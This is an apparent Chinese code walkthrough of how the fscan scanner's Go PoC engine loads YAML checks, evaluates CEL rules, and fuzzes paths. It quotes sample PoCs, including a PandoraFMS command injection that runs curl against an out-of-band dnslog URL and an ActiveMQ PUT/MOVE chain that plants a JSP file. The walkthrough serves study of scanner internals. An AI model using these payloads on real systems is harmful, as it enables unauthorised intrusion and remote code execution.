这一部分写的很不优雅,完全可以函数内部调用封装函数处理不同情况,但是笔者选择重复调用函数,过程中会重复设置请求,执行重复过程,开销更多,不如原地解决。
//有跳转ifstrings.Contains(result,"://"){info.Url=result// 传入flag=3,处理重定向err,result,CheckData=geturl(info,3,CheckData)iferr!=nil{return}}ifresult=="https"&&!strings.HasPrefix(info.Url,"https://"){info.Url=strings.Replace(info.Url,"http://","https://",1)err,result,CheckData=geturl(info,1,CheckData)//有跳转ifstrings.Contains(result,"://"){info.Url=resulterr,_,CheckData=geturl(info,3,CheckData)iferr!=nil{return}}}//是否访问图标//err, _, CheckData = geturl(info, 2, CheckData)iferr!=nil{return}return}
getRespBody
上面没有看的解析响应包函数getRespBody
。主要处理了Content-Encoding=gzip的情况。若没有加密,则直接读数据即可。
funcgetRespBody(oResp*http.Response)([]byte,error){varbody[]byteifoResp.Header.Get("Content-Encoding")=="gzip"{gr,err:=gzip.NewReader(oResp.Body)iferr!=nil{returnnil,err}defergr.Close()for{buf:=make([]byte,1024)n,err:=gr.Read(buf)iferr!=nil&&err!=io.EOF{returnnil,err}ifn==0{break}body=append(body,buf...)}}else{raw,err:=io.ReadAll(oResp.Body)iferr!=nil{returnnil,err}body=raw}returnbody,nil}
gettitle
正则表达式:(?ims)<title.*?>(.*?)</title>
,匹配<title>(任意字符)</title>
。
funcgettitle(body[]byte)(titlestring){re:=regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")find:=re.FindSubmatch(body)iflen(find)>1{// 排除空格、换行等字符title=string(find[1])title=strings.TrimSpace(title)title=strings.Replace(title,"n","",-1)title=strings.Replace(title,"r","",-1)title=strings.Replace(title," "," ",-1)iflen(title)>100{title=title[:100]}// 如果是空格,则替换为""iftitle==""{title=""""//空格}}else{title="None"//没有title}return}
WebScan
用sync.once 保证initpoc
函数只调用一次(大哥,能不能写一个Init的,这代码结构也太乱了)。跟进initpoc
//go:embed pocsvarPocsembed.FSvaroncesync.OncevarAllPocs[]*lib.PocfuncWebScan(info*common.HostInfo){once.Do(initpoc)// flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")varpocinfo=common.Pocinfobuf:=strings.Split(info.Url,"/")pocinfo.Target=strings.Join(buf[:3],"/")ifpocinfo.PocName!=""{Execute(pocinfo)}else{for_,infostr:=rangeinfo.Infostr{pocinfo.PocName=lib.CheckInfoPoc(infostr)Execute(pocinfo)}}}
initpoc
起到,读取poc文件夹中poc文件的作用,并且用embed
库嵌入进代码。
funcinitpoc(){ifcommon.PocPath==""{entries,err:=Pocs.ReadDir("pocs")iferr!=nil{fmt.Printf("[-] init poc error: %v",err)return}for_,one:=rangeentries{path:=one.Name()ifstrings.HasSuffix(path,".yaml")||strings.HasSuffix(path,".yml"){ifpoc,_:=lib.LoadPoc(path,Pocs);poc!=nil{AllPocs=append(AllPocs,poc)}}}}else{fmt.Println("[+] load poc from "+common.PocPath)err:=filepath.Walk(common.PocPath,func(pathstring,infoos.FileInfo,errerror)error{iferr!=nil||info==nil{returnerr}if!info.IsDir(){ifstrings.HasSuffix(path,".yaml")||strings.HasSuffix(path,".yml"){poc,_:=lib.LoadPocbyPath(path)ifpoc!=nil{AllPocs=append(AllPocs,poc)}}}returnnil})iferr!=nil{fmt.Printf("[-] init poc error: %v",err)}}}
Execute
这算是执行漏扫之前的包装函数,创建了GET请求,简单构建了下。
接下来调用filterpoc
和lib.CheckMultiPoc
。
filterpoc做了两件事:
-
若没指定pocname,则使用embed读入的文件夹内所有poc -
若指定了pocname,则从统一读取进程序的所有poc中指定poc运行
跟进lib.CheckMultiPoc
。
funcExecute(PocInfocommon.PocInfo){req,err:=http.NewRequest("GET",PocInfo.Target,nil)iferr!=nil{errlog:=fmt.Sprintf("[-] webpocinit %v %v",PocInfo.Target,err)common.LogError(errlog)return}req.Header.Set("User-agent",common.UserAgent)req.Header.Set("Accept",common.Accept)req.Header.Set("Accept-Language","zh-CN,zh;q=0.9")ifcommon.Cookie!=""{req.Header.Set("Cookie",common.Cookie)}pocs:=filterPoc(PocInfo.PocName)lib.CheckMultiPoc(req,pocs,common.PocNum)}funcfilterPoc(pocnamestring)(pocs[]*lib.Poc){ifpocname==""{returnAllPocs}for_,poc:=rangeAllPocs{ifstrings.Contains(poc.Name,pocname){pocs=append(pocs,poc)}}return}
lib.CheckMultiPoc
传入构建好的get请求、poc模块对象、pocnum(每次扫描多少poc)
lib.CheckMultiPoc(req,pocs,common.PocNum)
typeTaskstruct{Req*http.RequestPoc*Poc// type Poc struct {// Name string `yaml:"name"`// Set StrMap `yaml:"set"`// Sets ListMap `yaml:"sets"`// Rules []Rules `yaml:"rules"`// Groups RuleMap `yaml:"groups"`// Detail Detail `yaml:"detail"`}}funcCheckMultiPoc(req*http.Request,pocs[]*Poc,workersint){tasks:=make(chanTask)varwgsync.WaitGroup// 根据传入的pocnum开始发起poc扫描fori:=0;i<workers;i++{// 启动poc对应的任务处理线程gofunc(){fortask:=rangetasks{// 检查接受的task的请求是否是漏洞isVul,_,name:=executePoc(task.Req,task.Poc)ifisVul{result:=fmt.Sprintf("[+] PocScan %s %s %s",task.Req.URL,task.Poc.Name,name)common.LogSuccess(result)}wg.Done()}}()}// 发起poc扫描任务请求// 由上面的处理协程进行分析for_,poc:=rangepocs{task:=Task{Req:req,Poc:poc,}wg.Add(1)tasks<-task}wg.Wait()close(tasks)}
poc引擎(面向过程)
接下来是poc引擎的代码部分。
首先进入executePoc
开始poc解析的工作,包含cel表达式完整生命周期的管理(初始化、配置、程序执行等)。
fscan中使用的cel-go
的版本是0.13.0
。
★ executePoc(规则匹配)
核心逻辑。检查接收到的poc扫描task中请求是否存在漏洞,满足poc所示漏洞触发条件。
主要逻辑涉及poc模块解析引擎的问题,代码使用了google开发的cel表达式,xray就是使用cel表达式进行规则匹配的。这里使用cel-go
库进行扩展语言的处理。
有关cel表达式,详情可以参考:
cel表达式
运行cel表达式有三个过程:
-
构建cel环境,初始化cel.Env -
向cel环境中注入类型、方法。 - 计算表达式。
funcexecutePoc(oReq*http.Request,p*Poc)(bool,error,string){c:=NewEnvOption()c.UpdateCompileOptions(p.Set)......
## NewEnvOption
作者封装了对于cel-go的env配置。
首先作者将cel的evoption和programoption封装成一个结构体CustomLib
typeCustomLibstruct{envOptions[]cel.EnvOptionprogramOptions[]cel.ProgramOption}
### 变量声明
然后是设置env。
注意:以下decls包的一些函数已经过时被弃用,比如NewIdent
改用NewVar
或NewConst
。
decls使用的时候需要与expr库进行配合。文档:https://pkg.go.dev/google.golang.org/genproto/googleapis/api/expr/v1alpha1
:::warning
expr库是一个用于在Go语言中执行表达式的库,它支持数值运算、逻辑运算、字符串操作、正则匹配、类型转换等功能,还可以自定义函数和变量。expr库的特点是准确、安全、快速,它可以用于实现动态配置、规则引擎、数据分析等场景。
:::funcNewEnvOption()CustomLib{c:=CustomLib{}c.envOptions=[]cel.EnvOption{// 指定一个命名空间 “lib” ,用于存放自定义的类型和函数。cel.Container("lib"),// 注册一些自定义的类型,主要用到protobufcel.Types(&UrlType{},// type UrlType struct {// state protoimpl.MessageState// sizeCache protoimpl.SizeCache// unknownFields protoimpl.UnknownFields// Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`// Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`// Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`// Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`// Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`// Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`// Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`// }&Request{},&Response{},&Reverse{},),// 声明一些自定义的变量和函数cel.Declarations(// 创建新的标识符(变量)// 参数:变量名称、变量类型、初始值decls.NewIdent("request",decls.NewObjectType("lib.Request"),nil),decls.NewIdent("response",decls.NewObjectType("lib.Response"),nil),decls.NewIdent("reverse",decls.NewObjectType("lib.Reverse"),nil),),cel.Declarations(// functions// 定义全局函数,同时指定重载函数decls.NewFunction("bcontains",decls.NewInstanceOverload("bytes_bcontains_bytes",[]*exprpb.Type{decls.Bytes,decls.Bytes},decls.Bool)),decls.NewFunction("bmatches",decls.NewInstanceOverload("string_bmatches_bytes",[]*exprpb.Type{decls.String,decls.Bytes},decls.Bool)),decls.NewFunction("md5",decls.NewOverload("md5_string",[]*exprpb.Type{decls.String},decls.String)),..................decls.NewFunction("hexdecode",decls.NewInstanceOverload("hexdecode",[]*exprpb.Type{decls.String},decls.Bytes)),),}
### 函数声明
使用cel.Functions
函数,进行全局重载函数的注册(不是用于函数的声明,而是重载函数的声明)
一些前置数据结构
```go
// Overload 定义了函数的一个命名重载,表示必须在重载的第一个参数上存在的操作数特性,以及一元、二元或函数实现中的一个。
//
// 表达式语言中的大多数运算符都是一元或二元的,而特殊化简化了具有运算符重载类型的实现者的调用约定。任何额外的复杂性都假定由通用的 FunctionOp 来处理。
type Overload struct {
// Operator 是作为表达式中写入的运算符名称,或在 operators.go 中定义的运算符名称。
Operator string// OperandTrait 用于分派调用的操作数特性。零值表示全局函数重载,或应使用 Unary/Binary/Function 定义之一来执行调用。
OperandTrait int// Unary 使用 UnaryOp 实现定义重载。可能为 nil。
Unary UnaryOp// Binary 使用 BinaryOp 实现定义重载。可能为 nil。
Binary BinaryOp// Function 使用 FunctionOp 实现定义重载。可能为 nil。
Function FunctionOp// NonStrict 指定 Overload 是否容忍类型为 types.Err 或 types.Unknown 的参数。
NonStrict bool
}
// UnaryOp 是一个接受单个值并产生输出的函数。
type UnaryOp func(value ref.Val) ref.Val
// BinaryOp 是一个接受两个值并产生输出的函数。
type BinaryOp func(lhs ref.Val, rhs ref.Val) ref.Val
// FunctionOp 是一个接受零个或多个参数并产生值或错误结果的函数。
type FunctionOp func(values ...ref.Val) ref.Val
```go
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
//
Operator: "bytes_bcontains_bytes",
// 二元函数,使用binary
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
............
............
&functions.Overload{
Operator: "hexdecode",
// 单参数,用Unary
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
}
UpdateCompileOptions
funcexecutePoc(oReq*http.Request,p*Poc)(bool,error,string){.....c.UpdateCompileOptions(p.Set)iflen(p.Sets)>0{varsetMapStrMapfor_,item:=rangep.Sets{iflen(item.Value)>0{setMap=append(setMap,StrItem{item.Key,item.Value[0]})}else{setMap=append(setMap,StrItem{item.Key,""})}}c.UpdateCompileOptions(setMap)}.....
根据传入的poc中set参数,向env中声明新的变量
func(c*CustomLib)UpdateCompileOptions(argsStrMap){for_,item:=rangeargs{k,v:=item.Key,item.Value// 在执行之前是不知道变量的类型的,所以统一声明为字符型// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_stringvard*exprpb.Declifstrings.HasPrefix(v,"randomInt"){d=decls.NewIdent(k,decls.Int,nil)}elseifstrings.HasPrefix(v,"newReverse"){d=decls.NewIdent(k,decls.NewObjectType("lib.Reverse"),nil)}else{d=decls.NewIdent(k,decls.String,nil)}c.envOptions=append(c.envOptions,cel.Declarations(d))}}
创建cel环境
调用cel.NewEnv,创建env环境
// func NewEnv(c *CustomLib) (*cel.Env, error) {// return cel.NewEnv(cel.Lib(c))// }env,err:=NewEnv(&c)iferr!=nil{fmt.Printf("[-] %s environment creation error: %sn",p.Name,err)returnfalse,err,""}
解析http请求
传入的oReq是发起poc扫描的http连接,调用ParseRequest
进行请求的解析
funcexecutePoc(oReq*http.Request,p*Poc)(bool,error,string){......req,err:=ParseRequest(oReq)iferr!=nil{fmt.Printf("[-] %s ParseRequest error: %sn",p.Name,err)returnfalse,err,""}......
ParseRequest主要把http请求的数据,提取到自定义的Request
结构中。
主要通过提取http.Request结构体完成功能。以下的protobuf相关字段不应该直接被用户修改,是protobuf库生成的。
typeRequeststruct{stateprotoimpl.MessageStatesizeCacheprotoimpl.SizeCacheunknownFieldsprotoimpl.UnknownFieldsUrl*UrlType`protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`Methodstring`protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`Headersmap[string]string`protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`ContentTypestring`protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`Body[]byte`protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`}funcParseRequest(oReq*http.Request)(*Request,error){req:=&Request{}// 提取http参数req.Method=oReq.Methodreq.Url=ParseUrl(oReq.URL)header:=make(map[string]string)fork:=rangeoReq.Header{header[k]=oReq.Header.Get(k)}req.Headers=headerreq.ContentType=oReq.Header.Get("Content-Type")// 提取http数据// http.Request.Body是io.Reader接口类型ifoReq.Body==nil||oReq.Body==http.NoBody{}else{// 读取完所有数据data,err:=io.ReadAll(oReq.Body)iferr!=nil{returnnil,err}req.Body=data// 关闭io.Reader,存回data,方便下次读取oReq.Body=io.NopCloser(bytes.NewBuffer(data))}returnreq,nil}
set扩展表达式处理(动态函数执行)
variableMap:=make(map[string]interface{})deferfunc(){variableMap=nil}()// 指定request为当前设置好的请求对象variableMap["request"]=req// 遍历poc.setfor_,item:=rangep.Set{k,expression:=item.Key,item.Value// ifexpression=="newReverse()"{if!common.DnsLog{returnfalse,nil,""}variableMap[k]=newReverse()continue}err,_=evalset(env,variableMap,k,expression)iferr!=nil{fmt.Printf("[-] %s evalset error: %vn",p.Name,err)}}
举个例子,这里set设置reverse变量,值为调用newReverse函数后得到的对象,接着在下方的expression中展示了表达式,reverse.wait(5)
代表着五秒之内是否收到反向shell连接
name:poc-yaml-pandorafms-cve-2019-20224-rceset:reverse:newReverse()reverseURL:reverse.urlrules:-method:POSTpath:>-/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0headers:Content-Type:application/x-www-form-urlencodedbody:>-date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Drawfollow_redirects:trueexpression:|response.status == 200 && reverse.wait(5)
newReverse
如果开启了Dnslog带外检测,则继续下去,否则返回一个空的反弹shell对象。
这里使用ceye.io平台,可以检测dnslog带外检测,api已经赋值好了,这里随机选取一个八位随机数的子域名进行访问即可。
typeReversestruct{stateprotoimpl.MessageStatesizeCacheprotoimpl.SizeCacheunknownFieldsprotoimpl.UnknownFieldsUrlstring`protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`Domainstring`protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`Ipstring`protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`IsDomainNameServerbool`protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`}funcnewReverse()*Reverse{if!common.DnsLog{return&Reverse{}}letters:="1234567890abcdefghijklmnopqrstuvwxyz"randSource:=rand.New(rand.NewSource(time.Now().UnixNano()))sub:=RandomStr(randSource,letters,8)//if true {// //默认不开启dns解析// return &Reverse{}//}urlStr:=fmt.Sprintf("http://%s.%s",sub,ceyeDomain)u,_:=url.Parse(urlStr)return&Reverse{Url:urlStr,Domain:u.Hostname(),Ip:u.Host,IsDomainNameServer:false,}}
evalset
如果是除了newReverse
之外的其他expression函数,则进入evalset
。其中首先调用Evaluate
执行expression对应的函数,针对错误对variableMap
的值赋值。如果有错误,根据传出的out结果的值类型,给variableMap
赋不同类型的值。
funcevalset(env*cel.Env,variableMapmap[string]interface{},kstring,expressionstring)(errerror,outputstring){out,err:=Evaluate(env,expression,variableMap)iferr!=nil{variableMap[k]=expression}else{switchvalue:=out.Value().(type){case*UrlType:variableMap[k]=UrlTypeToString(value)caseint64:variableMap[k]=int(value)default:variableMap[k]=fmt.Sprintf("%v",out)}}returnerr,fmt.Sprintf("%v",variableMap[k])}
具体的执行函数。一套小流程,编译、定位函数、执行程序、返回输出。
funcEvaluate(env*cel.Env,expressionstring,paramsmap[string]interface{})(ref.Val,error){ifexpression==""{returntypes.Bool(true),nil}ast,iss:=env.Compile(expression)ifiss.Err()!=nil{//fmt.Printf("compile: ", iss.Err())returnnil,iss.Err()}prg,err:=env.Program(ast)iferr!=nil{//fmt.Printf("Program creation error: %v", err)returnnil,err}out,_,err:=prg.Eval(params)iferr!=nil{//fmt.Printf("Evaluation error: %v", err)returnnil,err}returnout,nil}
爆破模式
success:=false//爆破模式,比如tomcat弱口令iflen(p.Sets)>0{success,err=clusterpoc(oReq,p,variableMap,req,env)returnsuccess,nil,""}
clusterpoc
前置结构
typeStrMap[]StrItemtypeListMap[]ListItemtypeRuleMap[]RuleItemtypeStrItemstruct{Key,Valuestring}
rule结构
typeRulesstruct{Methodstring`yaml:"method"`Pathstring`yaml:"path"`Headersmap[string]string`yaml:"headers"`Bodystring`yaml:"body"`Searchstring`yaml:"search"`FollowRedirectsbool`yaml:"follow_redirects"`Expressionstring`yaml:"expression"`Continuebool`yaml:"continue"`}
funcclusterpoc(oReq*http.Request,p*Poc,variableMapmap[string]interface{},req*Request,env*cel.Env)(successbool,errerror){varstrMapStrMapvartmpnumintfori,rule:=rangep.Rules{if!isFuzz(rule,p.Sets){success,err=clustersend(oReq,variableMap,req,env,rule)iferr!=nil{returnfalse,err}ifsuccess{continue}else{returnfalse,err}}setsMap:=Combo(p.Sets)ruleHash:=make(map[string]struct{})......
isFuzz
如果有sets这个参数,则判断提取的rule记录是否需要fuzz,clusterpoc会调用isFuzz
funcisFuzz(ruleRules,SetsListMap)bool{for_,one:=rangeSets{key:=one.Key// 判断请求头中是否含有字典中数据for_,v:=rangerule.Headers{ifstrings.Contains(v,"{{"+key+"}}"){returntrue}}// web访问路径ifstrings.Contains(rule.Path,"{{"+key+"}}"){returntrue}// 请求体数据ifstrings.Contains(rule.Body,"{{"+key+"}}"){returntrue}}returnfalse}
若不是fuzz,则调用clustersend
发送数据包。如果成功,则继续下一条规则(poc中的下一步,会有多条rule,每一条代表一个步骤)
fori,rule:=rangep.Rules{if!isFuzz(rule,p.Sets){success,err=clustersend(oReq,variableMap,req,env,rule)iferr!=nil{returnfalse,err}ifsuccess{continue}else{returnfalse,err}}
如果是fuzz,则需要对fuzz的数据进行提取,然后继续下面的逻辑。
举例:
name:poc-yaml-fckeditor-infosets:path:-"/fckeditor/_samples/default.html"-"/fckeditor/editor/filemanager/connectors/uploadtest.html"-"/ckeditor/samples/"-"/editor/ckeditor/samples/"-"/ckeditor/samples/sample_posteddata.php"-"/editor/ckeditor/samples/sample_posteddata.php"-"/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"-"/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"rules:-method:GETpath:/{{path}}follow_redirects:falseexpression:|response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")detail:author:shadown1ng(https://github.com/shadown1ng)
isfuzz会检查rules中是否存在{{sets.param.key}}
,若存在,需要在后续进行替换。不存在就直接调用clustersend
。
不需要fuzz
clustersend
这里的variablemap,是从set中获取的变量信息。
funcclustersend(oReq*http.Request,variableMapmap[string]interface{},req*Request,env*cel.Env,ruleRules)(bool,error){// 遍历set变量mapfork1,v1:=rangevariableMap{// 排除哈希数组类型_,isMap:=v1.(map[string]string)ifisMap{continue}// 赋值v1为set变量的值value:=fmt.Sprintf("%v",v1)// 遍历规则中http headers,根据poc变换请求体fork2,v2:=rangerule.Headers{// 判断header规则中是否有set变量,如果有,用执行后的set变量值value代替原set变量名ifstrings.Contains(v2,"{{"+k1+"}}"){rule.Headers[k2]=strings.ReplaceAll(v2,"{{"+k1+"}}",value)}}// 变换path、body规则请求rule.Path=strings.ReplaceAll(strings.TrimSpace(rule.Path),"{{"+k1+"}}",value)rule.Body=strings.ReplaceAll(strings.TrimSpace(rule.Body),"{{"+k1+"}}",value)}// 变换原始http路径为变形后路径ifoReq.URL.Path!=""&&oReq.URL.Path!="/"{req.Url.Path=fmt.Sprint(oReq.URL.Path,rule.Path)}else{req.Url.Path=rule.Path}// 某些poc没有区分path和query,需要处理// 用html编码转换空格req.Url.Path=strings.ReplaceAll(req.Url.Path," ","%20")//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")//// 根据依照poc更改后的http信息,重新生成http连接请求newRequest,err:=http.NewRequest(rule.Method,fmt.Sprintf("%s://%s%s",req.Url.Scheme,req.Url.Host,req.Url.Path),strings.NewReader(rule.Body))iferr!=nil{//fmt.Println("[-] newRequest error:",err)returnfalse,err}// 配置新http请求newRequest.Header=oReq.Header.Clone()fork,v:=rangerule.Headers{newRequest.Header.Set(k,v)}// 发起连接resp,err:=DoRequest(newRequest,rule.FollowRedirects)newRequest=niliferr!=nil{returnfalse,err}variableMap["response"]=resp// 先判断响应页面是否匹配search规则ifrule.Search!=""{result:=doSearch(rule.Search,GetHeader(resp.Headers)+string(resp.Body))ifresult!=nil&&len(result)>0{// 正则匹配成功fork,v:=rangeresult{variableMap[k]=v}//return false, nil}else{returnfalse,nil}}out,err:=Evaluate(env,rule.Expression,variableMap)iferr!=nil{ifstrings.Contains(err.Error(),"Syntax error"){fmt.Println(rule.Expression,err)}returnfalse,err}//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))iffmt.Sprintf("%v",out)=="false"{//如果false不继续执行后续rulereturnfalse,err// 如果最后一步执行失败,就算前面成功了最终依旧是失败}returntrue,err}
DoRequest
上面用到的Dorequest函数如下:
funcDoRequest(req*http.Request,redirectbool)(*Response,error){// 设置请求ifreq.Body==nil||req.Body==http.NoBody{}else{req.Header.Set("Content-Length",strconv.Itoa(int(req.ContentLength)))ifreq.Header.Get("Content-Type")==""{req.Header.Set("Content-Type","application/x-www-form-urlencoded")}}varoResp*http.Responsevarerrerror// 选择是否跟踪重定向,发起http连接ifredirect{oResp,err=Client.Do(req)}else{oResp,err=ClientNoRedirect.Do(req)}iferr!=nil{//fmt.Println("[-]DoRequest error: ",err)returnnil,err}deferoResp.Body.Close()// 解析响应resp,err:=ParseResponse(oResp)iferr!=nil{common.LogError("[-] ParseResponse error: "+err.Error())//return nil, err}returnresp,err}
解析响应
进入ParseResponse。
将http.response的字段转换成自定义结构Response
的字段。
typeResponsestruct{stateprotoimpl.MessageStatesizeCacheprotoimpl.SizeCacheunknownFieldsprotoimpl.UnknownFieldsUrl*UrlType`protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`Statusint32`protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`Headersmap[string]string`protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`ContentTypestring`protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`Body[]byte`protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`Durationfloat64`protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`}
funcParseResponse(oResp*http.Response)(*Response,error){varrespResponseheader:=make(map[string]string)resp.Status=int32(oResp.StatusCode)resp.Url=ParseUrl(oResp.Request.URL)fork:=rangeoResp.Header{header[k]=strings.Join(oResp.Header.Values(k),";")}resp.Headers=headerresp.ContentType=oResp.Header.Get("Content-Type")body,_:=getRespBody(oResp)resp.Body=bodyreturn&resp,nil}
跟进getRespBody
。io.Readall读取完body的数据。当err返回EOF时,代表读取完毕,返回body []byte和错误。
funcgetRespBody(oResp*http.Response)(body[]byte,errerror){body,err=io.ReadAll(oResp.Body)ifstrings.Contains(oResp.Header.Get("Content-Encoding"),"gzip"){reader,err1:=gzip.NewReader(bytes.NewReader(body))iferr1==nil{body,err=io.ReadAll(reader)}}iferr==io.EOF{err=nil}return}
search规则检索
首先,poc允许名叫search的规则,举例
name:poc-yaml-activemq-cve-2016-3088set:filename:randomLowercase(6)fileContent:randomLowercase(6)rules:-method:PUTpath:/fileserver/{{filename}}.txtbody:|{{fileContent}}expression:|response.status==204-method:GETpath:/admin/test/index.jspsearch:|activemq.home=(?P<home>.*?),follow_redirects:falseexpression:|response.status==200-method:MOVEpath:/fileserver/{{filename}}.txtheaders:Destination:"file://{{home}}/webapps/api/{{filename}}.jsp"follow_redirects:falseexpression:|response.status==204-method:GETpath:/api/{{filename}}.jspfollow_redirects:falseexpression:|response.status==200&&response.body.bcontains(bytes(fileContent))detail:author:j4ckzh0u(https://github.com/j4ckzh0u)links:-https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
代码会根据search中给的正则表达式寻找body和headers中的数据。
接下来是response的检查。
调用doSearch判断是否匹配search规则,传入rule.Search
和headers、body
的string。
variableMap["response"]=resp// 先判断响应页面是否匹配search规则ifrule.Search!=""{result:=doSearch(rule.Search,GetHeader(resp.Headers)+string(resp.Body))ifresult!=nil&&len(result)>0{// 正则匹配成功fork,v:=rangeresult{variableMap[k]=v}//return false, nil}else{returnfalse,nil}}out,err:=Evaluate(env,rule.Expression,variableMap)iferr!=nil{ifstrings.Contains(err.Error(),"Syntax error"){fmt.Println(rule.Expression,err)}returnfalse,err}//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))iffmt.Sprintf("%v",out)=="false"{//如果false不继续执行后续rulereturnfalse,err// 如果最后一步执行失败,就算前面成功了最终依旧是失败}returntrue,err}
doSearch
跟进doSearch。根据传入的正则表达式,调用regexp.FindStringSubmatch/SubexpNames
匹配子字符串。
findstringsubmatch函数,会寻找正则表达式和子表达式匹配的字符串组,比如下面,括号中的是子表达式。函数会依次输出匹配到的内容,如果没有则返回空字符串。
re:=regexp.MustCompile(`a(x*)b(y|z)c`)fmt.Printf("%qn",re.FindStringSubmatch("-axxxbyc-"))fmt.Printf("%qn",re.FindStringSubmatch("-abzc-"))["axxxbyc""xxx""y"]["abzc""""z"]
SubexpNames函数,会返回正则表达式中带括号的子表达式的名称。第一个子表达式的名称是names[1]
,因此如果m
是一个匹配切片,那么m[i
]的名称就是SubexpNames()[i]
。由于整个正则表达式不能被命名,所以names[0]
总是空字符串。这个切片不应该被修改。
re:=regexp.MustCompile(`(?P<first>[a-zA-Z]+) (?P<last>[a-zA-Z]+)`)fmt.Println(re.MatchString("Alan Turing"))fmt.Printf("%qn",re.SubexpNames())reversed:=fmt.Sprintf("${%s} ${%s}",re.SubexpNames()[2],re.SubexpNames()[1])fmt.Println(reversed)fmt.Println(re.ReplaceAllString("Alan Turing",reversed))true["""first""last"]${last}${first}TuringAlan
查看dosearch逻辑。匹配成功会返回匹配到的捕获组名称以及匹配到的字符串值
funcdoSearch(restring,bodystring)map[string]string{r,err:=regexp.Compile(re)iferr!=nil{fmt.Println("[-] regexp.Compile error: ",err)returnnil}// 寻找正则表达式和子表达式匹配的字符串组result:=r.FindStringSubmatch(body)names:=r.SubexpNames()iflen(result)>1&&len(names)>1{paramsMap:=make(map[string]string)fori,name:=rangenames{ifi>0&&i<=len(result){ifstrings.HasPrefix(re,"Set-Cookie:")&&strings.Contains(name,"cookie"){paramsMap[name]=optimizeCookies(result[i])}else{paramsMap[name]=result[i]}}}returnparamsMap}returnnil}
接着返回clustersend逻辑,根据返回的捕获组名称:匹配内容
,将其依次全部赋值入variableMap
variableMap["response"]=resp// 先判断响应页面是否匹配search规则ifrule.Search!=""{result:=doSearch(rule.Search,GetHeader(resp.Headers)+string(resp.Body))ifresult!=nil&&len(result)>0{// 正则匹配成功fork,v:=rangeresult{variableMap[k]=v}//return false, nil}else{returnfalse,nil}}
最后将提取来的变量传入cel表达式环境变量,对规则中的表达式rule.Expression
进行编译与执行。如果匹配成功,clustersend返回true,否则false。true就代表poc命中目标。
out,err:=Evaluate(env,rule.Expression,variableMap)iferr!=nil{ifstrings.Contains(err.Error(),"Syntax error"){fmt.Println(rule.Expression,err)}returnfalse,err}//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))iffmt.Sprintf("%v",out)=="false"{//如果false不继续执行后续rulereturnfalse,err// 如果最后一步执行失败,就算前面成功了最终依旧是失败}returntrue,err
rule.expression举例:
name:poc-yaml-apache-kylin-unauth-cve-2020-13937rules:-method:GETpath:/kylin/api/admin/configexpression:|response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")detail:author:JingLing(github.com/shmilylty)links:-https://s.tencent.com/research/bsafe/1156.html
成功命中
此刻已经成功获取匹配到的poc,clusterpoc函数会返回success(为true)。
